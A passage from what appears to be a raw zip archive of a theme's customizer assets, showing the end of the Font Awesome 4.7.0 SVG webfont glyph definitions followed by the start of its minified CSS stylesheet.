t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CB" unicode="&#xf2cb;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 79 56 135.5t136 56.5t136 -56.5t56 -135.5zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5z
M896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192v128h192z" />
    <glyph glyph-name="uniF2CC" unicode="&#xf2cc;" horiz-adv-x="1920" 
d="M1433 1287q10 -10 10 -23t-10 -23l-626 -626q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l44 44q-72 91 -81.5 207t46.5 215q-74 71 -176 71q-106 0 -181 -75t-75 -181v-1280h-256v1280q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5q106 0 201 -41
t166 -115q94 39 197 24.5t185 -79.5l44 44q10 10 23 10t23 -10zM1344 1024q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1600 896q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1856 1024q26 0 45 -19t19 -45t-19 -45t-45 -19
t-45 19t-19 45t19 45t45 19zM1216 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1408 832q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM1728 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 768
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 640q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1600 768q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 512q-26 0 -45 19t-19 45t19 45t45 19t45 -19
t19 -45t-19 -45t-45 -19zM1472 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 384
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 256q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19z" />
    <glyph glyph-name="uniF2CD" unicode="&#xf2cd;" horiz-adv-x="1792" 
d="M1664 448v-192q0 -169 -128 -286v-194q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v118q-63 -22 -128 -22h-768q-65 0 -128 22v-110q0 -17 -9.5 -28.5t-22.5 -11.5h-64q-13 0 -22.5 11.5t-9.5 28.5v186q-128 117 -128 286v192h1536zM704 864q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM768 928q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM704 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1056q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM704 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v640q0 106 75 181t181 75q108 0 184 -78q46 19 98 12t93 -39l22 22q11 11 22 0l42 -42
q11 -11 0 -22l-314 -314q-11 -11 -22 0l-42 42q-11 11 0 22l22 22q-36 46 -40.5 104t23.5 108q-37 35 -88 35q-53 0 -90.5 -37.5t-37.5 -90.5v-640h1504q14 0 23 -9t9 -23zM896 1056q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1120q0 -14 -9 -23t-23 -9
t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM896 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1248q0 -14 -9 -23
t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1024 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1088 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23z" />
    <glyph glyph-name="uniF2CE" unicode="&#xf2ce;" 
d="M994 344q0 -86 -17 -197q-31 -215 -55 -313q-22 -90 -152 -90t-152 90q-24 98 -55 313q-17 110 -17 197q0 168 224 168t224 -168zM1536 768q0 -240 -134 -434t-350 -280q-8 -3 -15 3t-6 15q7 48 10 66q4 32 6 47q1 9 9 12q159 81 255.5 234t96.5 337q0 180 -91 330.5
t-247 234.5t-337 74q-124 -7 -237 -61t-193.5 -140.5t-128 -202t-46.5 -240.5q1 -184 99 -336.5t257 -231.5q7 -3 9 -12q3 -21 6 -45q1 -9 5 -32.5t6 -35.5q1 -9 -6.5 -15t-15.5 -2q-148 58 -261 169.5t-173.5 264t-52.5 319.5q7 143 66 273.5t154.5 227t225 157.5t272.5 70
q164 10 315.5 -46.5t261 -160.5t175 -250.5t65.5 -308.5zM994 800q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5zM1282 768q0 -122 -53.5 -228.5t-146.5 -177.5q-8 -6 -16 -2t-10 14q-6 52 -29 92q-7 10 3 20
q58 54 91 127t33 155q0 111 -58.5 204t-157.5 141.5t-212 36.5q-133 -15 -229 -113t-109 -231q-10 -92 23.5 -176t98.5 -144q10 -10 3 -20q-24 -41 -29 -93q-2 -9 -10 -13t-16 2q-95 74 -148.5 183t-51.5 234q3 131 69 244t177 181.5t241 74.5q144 7 268 -60t196.5 -187.5
t72.5 -263.5z" />
    <glyph glyph-name="uniF2D0" unicode="&#xf2d0;" horiz-adv-x="1792" 
d="M256 128h1280v768h-1280v-768zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D1" unicode="&#xf2d1;" horiz-adv-x="1792" 
d="M1792 224v-192q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D2" unicode="&#xf2d2;" horiz-adv-x="2048" 
d="M256 0h768v512h-768v-512zM1280 512h512v768h-768v-256h96q66 0 113 -47t47 -113v-352zM2048 1376v-960q0 -66 -47 -113t-113 -47h-608v-352q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h608v352q0 66 47 113t113 47h960q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="uniF2D3" unicode="&#xf2d3;" horiz-adv-x="1792" 
d="M1175 215l146 146q10 10 10 23t-10 23l-233 233l233 233q10 10 10 23t-10 23l-146 146q-10 10 -23 10t-23 -10l-233 -233l-233 233q-10 10 -23 10t-23 -10l-146 -146q-10 -10 -10 -23t10 -23l233 -233l-233 -233q-10 -10 -10 -23t10 -23l146 -146q10 -10 23 -10t23 10
l233 233l233 -233q10 -10 23 -10t23 10zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D4" unicode="&#xf2d4;" horiz-adv-x="1792" 
d="M1257 425l-146 -146q-10 -10 -23 -10t-23 10l-169 169l-169 -169q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l169 169l-169 169q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l169 -169l169 169q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-169 -169l169 -169q10 -10 10 -23t-10 -23zM256 128h1280v1024h-1280v-1024zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D5" unicode="&#xf2d5;" horiz-adv-x="1792" 
d="M1070 358l306 564h-654l-306 -564h654zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D6" unicode="&#xf2d6;" horiz-adv-x="1794" 
d="M1291 1060q-15 17 -35 8.5t-26 -28.5t5 -38q14 -17 40 -14.5t34 20.5t-18 52zM895 814q-8 -8 -19.5 -8t-18.5 8q-8 8 -8 19t8 18q7 8 18.5 8t19.5 -8q7 -7 7 -18t-7 -19zM1060 740l-35 -35q-12 -13 -29.5 -13t-30.5 13l-38 38q-12 13 -12 30t12 30l35 35q12 12 29.5 12
t30.5 -12l38 -39q12 -12 12 -29.5t-12 -29.5zM951 870q-7 -8 -18.5 -8t-19.5 8q-7 8 -7 19t7 19q8 8 19 8t19 -8t8 -19t-8 -19zM1354 968q-34 -64 -107.5 -85.5t-127.5 16.5q-38 28 -61 66.5t-21 87.5t39 92t75.5 53t70.5 -5t70 -51q2 -2 13 -12.5t14.5 -13.5t13 -13.5
t12.5 -15.5t10 -15.5t8.5 -18t4 -18.5t1 -21t-5 -22t-9.5 -24zM1555 486q3 20 -8.5 34.5t-27.5 21.5t-33 17t-23 20q-40 71 -84 98.5t-113 11.5q19 13 40 18.5t33 4.5l12 -1q2 45 -34 90q6 20 6.5 40.5t-2.5 30.5l-3 10q43 24 71 65t34 91q10 84 -43 150.5t-137 76.5
q-60 7 -114 -18.5t-82 -74.5q-30 -51 -33.5 -101t14.5 -87t43.5 -64t56.5 -42q-45 4 -88 36t-57 88q-28 108 32 222q-16 21 -29 32q-50 0 -89 -19q19 24 42 37t36 14l13 1q0 50 -13 78q-10 21 -32.5 28.5t-47 -3.5t-37.5 -40q2 4 4 7q-7 -28 -6.5 -75.5t19 -117t48.5 -122.5
q-25 -14 -47 -36q-35 -16 -85.5 -70.5t-84.5 -101.5l-33 -46q-90 -34 -181 -125.5t-75 -162.5q1 -16 11 -27q-15 -12 -30 -30q-21 -25 -21 -54t21.5 -40t63.5 6q41 19 77 49.5t55 60.5q-2 2 -6.5 5t-20.5 7.5t-33 3.5q23 5 51 12.5t40 10t27.5 6t26 4t23.5 0.5q14 -7 22 34
q7 37 7 90q0 102 -40 150q106 -103 101 -219q-1 -29 -15 -50t-27 -27l-13 -6q-4 -7 -19 -32t-26 -45.5t-26.5 -52t-25 -61t-17 -63t-6.5 -66.5t10 -63q-35 54 -37 80q-22 -24 -34.5 -39t-33.5 -42t-30.5 -46t-16.5 -41t-0.5 -38t25.5 -27q45 -25 144 64t190.5 221.5
t122.5 228.5q86 52 145 115.5t86 119.5q47 -93 154 -178q104 -83 167 -80q39 2 46 43zM1794 640q0 -182 -71 -348t-191 -286t-286.5 -191t-348.5 -71t-348.5 71t-286.5 191t-191 286t-71 348t71 348t191 286t286.5 191t348.5 71t348.5 -71t286.5 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D7" unicode="&#xf2d7;" 
d="M518 1353v-655q103 -1 191.5 1.5t125.5 5.5l37 3q68 2 90.5 24.5t39.5 94.5l33 142h103l-14 -322l7 -319h-103l-29 127q-15 68 -45 93t-84 26q-87 8 -352 8v-556q0 -78 43.5 -115.5t133.5 -37.5h357q35 0 59.5 2t55 7.5t54 18t48.5 32t46 50.5t39 73l93 216h89
q-6 -37 -31.5 -252t-30.5 -276q-146 5 -263.5 8t-162.5 4h-44h-628l-376 -12v102l127 25q67 13 91.5 37t25.5 79l8 643q3 402 -8 645q-2 61 -25.5 84t-91.5 36l-127 24v102l376 -12h702q139 0 374 27q-6 -68 -14 -194.5t-12 -219.5l-5 -92h-93l-32 124q-31 121 -74 179.5
t-113 58.5h-548q-28 0 -35.5 -8.5t-7.5 -30.5z" />
    <glyph glyph-name="uniF2D8" unicode="&#xf2d8;" 
d="M922 739v-182q0 -4 0.5 -15t0 -15l-1.5 -12t-3.5 -11.5t-6.5 -7.5t-11 -5.5t-16 -1.5v309q9 0 16 -1t11 -5t6.5 -5.5t3.5 -9.5t1 -10.5v-13.5v-14zM1238 643v-121q0 -1 0.5 -12.5t0 -15.5t-2.5 -11.5t-7.5 -10.5t-13.5 -3q-9 0 -14 9q-4 10 -4 165v7v8.5v9t1.5 8.5l3.5 7
t5 5.5t8 1.5q6 0 10 -1.5t6.5 -4.5t4 -6t2 -8.5t0.5 -8v-9.5v-9zM180 407h122v472h-122v-472zM614 407h106v472h-159l-28 -221q-20 148 -32 221h-158v-472h107v312l45 -312h76l43 319v-319zM1039 712q0 67 -5 90q-3 16 -11 28.5t-17 20.5t-25 14t-26.5 8.5t-31 4t-29 1.5
h-29.5h-12h-91v-472h56q169 -1 197 24.5t25 180.5q-1 62 -1 100zM1356 515v133q0 29 -2 45t-9.5 33.5t-24.5 25t-46 7.5q-46 0 -77 -34v154h-117v-472h110l7 30q30 -36 77 -36q50 0 66 30.5t16 83.5zM1536 1248v-1216q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113
v1216q0 66 47 113t113 47h1216q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D9" unicode="&#xf2d9;" horiz-adv-x="2176" 
d="M1143 -197q-6 1 -11 4q-13 8 -36 23t-86 65t-116.5 104.5t-112 140t-89.5 172.5q-17 3 -175 37q66 -213 235 -362t391 -184zM502 409l168 -28q-25 76 -41 167.5t-19 145.5l-4 53q-84 -82 -121 -224q5 -65 17 -114zM612 1018q-43 -64 -77 -148q44 46 74 68zM2049 584
q0 161 -62 307t-167.5 252t-250.5 168.5t-304 62.5q-147 0 -281 -52.5t-240 -148.5q-30 -58 -45 -160q60 51 143 83.5t158.5 43t143 13.5t108.5 -1l40 -3q33 -1 53 -15.5t24.5 -33t6.5 -37t-1 -28.5q-126 11 -227.5 0.5t-183 -43.5t-142.5 -71.5t-131 -98.5
q4 -36 11.5 -92.5t35.5 -178t62 -179.5q123 -6 247.5 14.5t214.5 53.5t162.5 67t109.5 59l37 24q22 16 39.5 20.5t30.5 -5t17 -34.5q14 -97 -39 -121q-208 -97 -467 -134q-135 -20 -317 -16q41 -96 110 -176.5t137 -127t130.5 -79t101.5 -43.5l39 -12q143 -23 263 15
q195 99 314 289t119 418zM2123 621q-14 -135 -40 -212q-70 -208 -181.5 -346.5t-318.5 -253.5q-48 -33 -82 -44q-72 -26 -163 -16q-36 -3 -73 -3q-283 0 -504.5 173t-295.5 442q-1 0 -4 0.5t-5 0.5q-6 -50 2.5 -112.5t26 -115t36 -98t31.5 -71.5l14 -26q8 -12 54 -82
q-71 38 -124.5 106.5t-78.5 140t-39.5 137t-17.5 107.5l-2 42q-5 2 -33.5 12.5t-48.5 18t-53 20.5t-57.5 25t-50 25.5t-42.5 27t-25 25.5q19 -10 50.5 -25.5t113 -45.5t145.5 -38l2 32q11 149 94 290q41 202 176 365q28 115 81 214q15 28 32 45t49 32q158 74 303.5 104
t302 11t306.5 -97q220 -115 333 -336t87 -474z" />
    <glyph glyph-name="uniF2DA" unicode="&#xf2da;" horiz-adv-x="1792" 
d="M1341 752q29 44 -6.5 129.5t-121.5 142.5q-58 39 -125.5 53.5t-118 4.5t-68.5 -37q-12 -23 -4.5 -28t42.5 -10q23 -3 38.5 -5t44.5 -9.5t56 -17.5q36 -13 67.5 -31.5t53 -37t40 -38.5t30.5 -38t22 -34.5t16.5 -28.5t12 -18.5t10.5 -6t11 9.5zM1704 178
q-52 -127 -148.5 -220t-214.5 -141.5t-253 -60.5t-266 13.5t-251 91t-210 161.5t-141.5 235.5t-46.5 303.5q1 41 8.5 84.5t12.5 64t24 80.5t23 73q-51 -208 1 -397t173 -318t291 -206t346 -83t349 74.5t289 244.5q20 27 18 14q0 -4 -4 -14zM1465 627q0 -104 -40.5 -199
t-108.5 -164t-162 -109.5t-198 -40.5t-198 40.5t-162 109.5t-108.5 164t-40.5 199t40.5 199t108.5 164t162 109.5t198 40.5t198 -40.5t162 -109.5t108.5 -164t40.5 -199zM1752 915q-65 147 -180.5 251t-253 153.5t-292 53.5t-301 -36.5t-275.5 -129t-220 -211.5t-131 -297
t-10 -373q-49 161 -51.5 311.5t35.5 272.5t109 227t165.5 180.5t207 126t232 71t242.5 9t236 -54t216 -124.5t178 -197q33 -50 62 -121t31 -112zM1690 573q12 244 -136.5 416t-396.5 240q-8 0 -10 5t24 8q125 -4 230 -50t173 -120t116 -168.5t58.5 -199t-1 -208
t-61.5 -197.5t-122.5 -167t-185 -117.5t-248.5 -46.5q108 30 201.5 80t174 123t129.5 176.5t55 225.5z" />
    <glyph glyph-name="uniF2DB" unicode="&#xf2db;" 
d="M192 256v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 512v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 768v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16
q0 16 16 16h112zM192 1024v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 1280v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM1280 1440v-1472q0 -40 -28 -68t-68 -28h-832q-40 0 -68 28
t-28 68v1472q0 40 28 68t68 28h832q40 0 68 -28t28 -68zM1536 208v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 464v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 720v-32
q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 976v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 1232v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16
h48q16 0 16 -16z" />
    <glyph glyph-name="uniF2DC" unicode="&#xf2dc;" horiz-adv-x="1664" 
d="M1566 419l-167 -33l186 -107q23 -13 29.5 -38.5t-6.5 -48.5q-14 -23 -39 -29.5t-48 6.5l-186 106l55 -160q13 -38 -12 -63.5t-60.5 -20.5t-48.5 42l-102 300l-271 156v-313l208 -238q16 -18 17 -39t-11 -36.5t-28.5 -25t-37 -5.5t-36.5 22l-112 128v-214q0 -26 -19 -45
t-45 -19t-45 19t-19 45v214l-112 -128q-16 -18 -36.5 -22t-37 5.5t-28.5 25t-11 36.5t17 39l208 238v313l-271 -156l-102 -300q-13 -37 -48.5 -42t-60.5 20.5t-12 63.5l55 160l-186 -106q-23 -13 -48 -6.5t-39 29.5q-13 23 -6.5 48.5t29.5 38.5l186 107l-167 33
q-29 6 -42 29t-8.5 46.5t25.5 40t50 10.5l310 -62l271 157l-271 157l-310 -62q-4 -1 -13 -1q-27 0 -44 18t-19 40t11 43t40 26l167 33l-186 107q-23 13 -29.5 38.5t6.5 48.5t39 30t48 -7l186 -106l-55 160q-13 38 12 63.5t60.5 20.5t48.5 -42l102 -300l271 -156v313
l-208 238q-16 18 -17 39t11 36.5t28.5 25t37 5.5t36.5 -22l112 -128v214q0 26 19 45t45 19t45 -19t19 -45v-214l112 128q16 18 36.5 22t37 -5.5t28.5 -25t11 -36.5t-17 -39l-208 -238v-313l271 156l102 300q13 37 48.5 42t60.5 -20.5t12 -63.5l-55 -160l186 106
q23 13 48 6.5t39 -29.5q13 -23 6.5 -48.5t-29.5 -38.5l-186 -107l167 -33q27 -5 40 -26t11 -43t-19 -40t-44 -18q-9 0 -13 1l-310 62l-271 -157l271 -157l310 62q29 6 50 -10.5t25.5 -40t-8.5 -46.5t-42 -29z" />
    <glyph glyph-name="uniF2DD" unicode="&#xf2dd;" horiz-adv-x="1792" 
d="M1473 607q7 118 -33 226.5t-113 189t-177 131t-221 57.5q-116 7 -225.5 -32t-192 -110.5t-135 -175t-59.5 -220.5q-7 -118 33 -226.5t113 -189t177.5 -131t221.5 -57.5q155 -9 293 59t224 195.5t94 283.5zM1792 1536l-349 -348q120 -117 180.5 -272t50.5 -321
q-11 -183 -102 -339t-241 -255.5t-332 -124.5l-999 -132l347 347q-120 116 -180.5 271.5t-50.5 321.5q11 184 102 340t241.5 255.5t332.5 124.5q167 22 500 66t500 66z" />
    <glyph glyph-name="uniF2DE" unicode="&#xf2de;" horiz-adv-x="1792" 
d="M948 508l163 -329h-51l-175 350l-171 -350h-49l179 374l-78 33l21 49l240 -102l-21 -50zM563 1100l304 -130l-130 -304l-304 130zM907 915l240 -103l-103 -239l-239 102zM1188 765l191 -81l-82 -190l-190 81zM1680 640q0 159 -62 304t-167.5 250.5t-250.5 167.5t-304 62
t-304 -62t-250.5 -167.5t-167.5 -250.5t-62 -304t62 -304t167.5 -250.5t250.5 -167.5t304 -62t304 62t250.5 167.5t167.5 250.5t62 304zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71
t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2E0" unicode="&#xf2e0;" horiz-adv-x="1920" 
d="M1334 302q-4 24 -27.5 34t-49.5 10.5t-48.5 12.5t-25.5 38q-5 47 33 139.5t75 181t32 127.5q-14 101 -117 103q-45 1 -75 -16l-3 -2l-5 -2.5t-4.5 -2t-5 -2t-5 -0.5t-6 1.5t-6 3.5t-6.5 5q-3 2 -9 8.5t-9 9t-8.5 7.5t-9.5 7.5t-9.5 5.5t-11 4.5t-11.5 2.5q-30 5 -48 -3
t-45 -31q-1 -1 -9 -8.5t-12.5 -11t-15 -10t-16.5 -5.5t-17 3q-54 27 -84 40q-41 18 -94 -5t-76 -65q-16 -28 -41 -98.5t-43.5 -132.5t-40 -134t-21.5 -73q-22 -69 18.5 -119t110.5 -46q30 2 50.5 15t38.5 46q7 13 79 199.5t77 194.5q6 11 21.5 18t29.5 0q27 -15 21 -53
q-2 -18 -51 -139.5t-50 -132.5q-6 -38 19.5 -56.5t60.5 -7t55 49.5q4 8 45.5 92t81.5 163.5t46 88.5q20 29 41 28q29 0 25 -38q-2 -16 -65.5 -147.5t-70.5 -159.5q-12 -53 13 -103t74 -74q17 -9 51 -15.5t71.5 -8t62.5 14t20 48.5zM383 86q3 -15 -5 -27.5t-23 -15.5
q-14 -3 -26.5 5t-15.5 23q-3 14 5 27t22 16t27 -5t16 -23zM953 -177q12 -17 8.5 -37.5t-20.5 -32.5t-37.5 -8t-32.5 21q-11 17 -7.5 37.5t20.5 32.5t37.5 8t31.5 -21zM177 635q-18 -27 -49.5 -33t-57.5 13q-26 18 -32 50t12 58q18 27 49.5 33t57.5 -12q26 -19 32 -50.5
t-12 -58.5zM1467 -42q19 -28 13 -61.5t-34 -52.5t-60.5 -13t-51.5 34t-13 61t33 53q28 19 60.5 13t52.5 -34zM1579 562q69 -113 42.5 -244.5t-134.5 -207.5q-90 -63 -199 -60q-20 -80 -84.5 -127t-143.5 -44.5t-140 57.5q-12 -9 -13 -10q-103 -71 -225 -48.5t-193 126.5
q-50 73 -53 164q-83 14 -142.5 70.5t-80.5 128t-2 152t81 138.5q-36 60 -38 128t24.5 125t79.5 98.5t121 50.5q32 85 99 148t146.5 91.5t168 17t159.5 -66.5q72 21 140 17.5t128.5 -36t104.5 -80t67.5 -115t17.5 -140.5q52 -16 87 -57t45.5 -89t-5.5 -99.5t-58 -87.5z
M455 1222q14 -20 9.5 -44.5t-24.5 -38.5q-19 -14 -43.5 -9.5t-37.5 24.5q-14 20 -9.5 44.5t24.5 38.5q19 14 43.5 9.5t37.5 -24.5zM614 1503q4 -16 -5 -30.5t-26 -18.5t-31 5.5t-18 26.5q-3 17 6.5 31t25.5 18q17 4 31 -5.5t17 -26.5zM1800 555q4 -20 -6.5 -37t-30.5 -21
q-19 -4 -36 6.5t-21 30.5t6.5 37t30.5 22q20 4 36.5 -7.5t20.5 -30.5zM1136 1448q16 -27 8.5 -58.5t-35.5 -47.5q-27 -16 -57.5 -8.5t-46.5 34.5q-16 28 -8.5 59t34.5 48t58 9t47 -36zM1882 792q4 -15 -4 -27.5t-23 -16.5q-15 -3 -27.5 5.5t-15.5 22.5q-3 15 5 28t23 16
q14 3 26.5 -5t15.5 -23zM1691 1033q15 -22 10.5 -49t-26.5 -43q-22 -15 -49 -10t-42 27t-10 49t27 43t48.5 11t41.5 -28z" />
    <glyph glyph-name="uniF2E1" unicode="&#xf2e1;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E2" unicode="&#xf2e2;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E3" unicode="&#xf2e3;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E4" unicode="&#xf2e4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E5" unicode="&#xf2e5;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E6" unicode="&#xf2e6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E7" unicode="&#xf2e7;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_698" unicode="&#xf2e8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E9" unicode="&#xf2e9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EA" unicode="&#xf2ea;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EB" unicode="&#xf2eb;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EC" unicode="&#xf2ec;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2ED" unicode="&#xf2ed;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EE" unicode="&#xf2ee;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="lessequal" unicode="&#xf500;" horiz-adv-x="1792" 
 />
  </font>
</defs></svg>
PK     0w\}y  y  >  customizer/framework/assets/font/font-awesome/font-awesome.cssnu [        /*!
 *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
 *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 */@font-face{font-family:'FontAwesome';src:url('fonts/fontawesome-webfont.eot?v=4.7.0');src:url('fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes 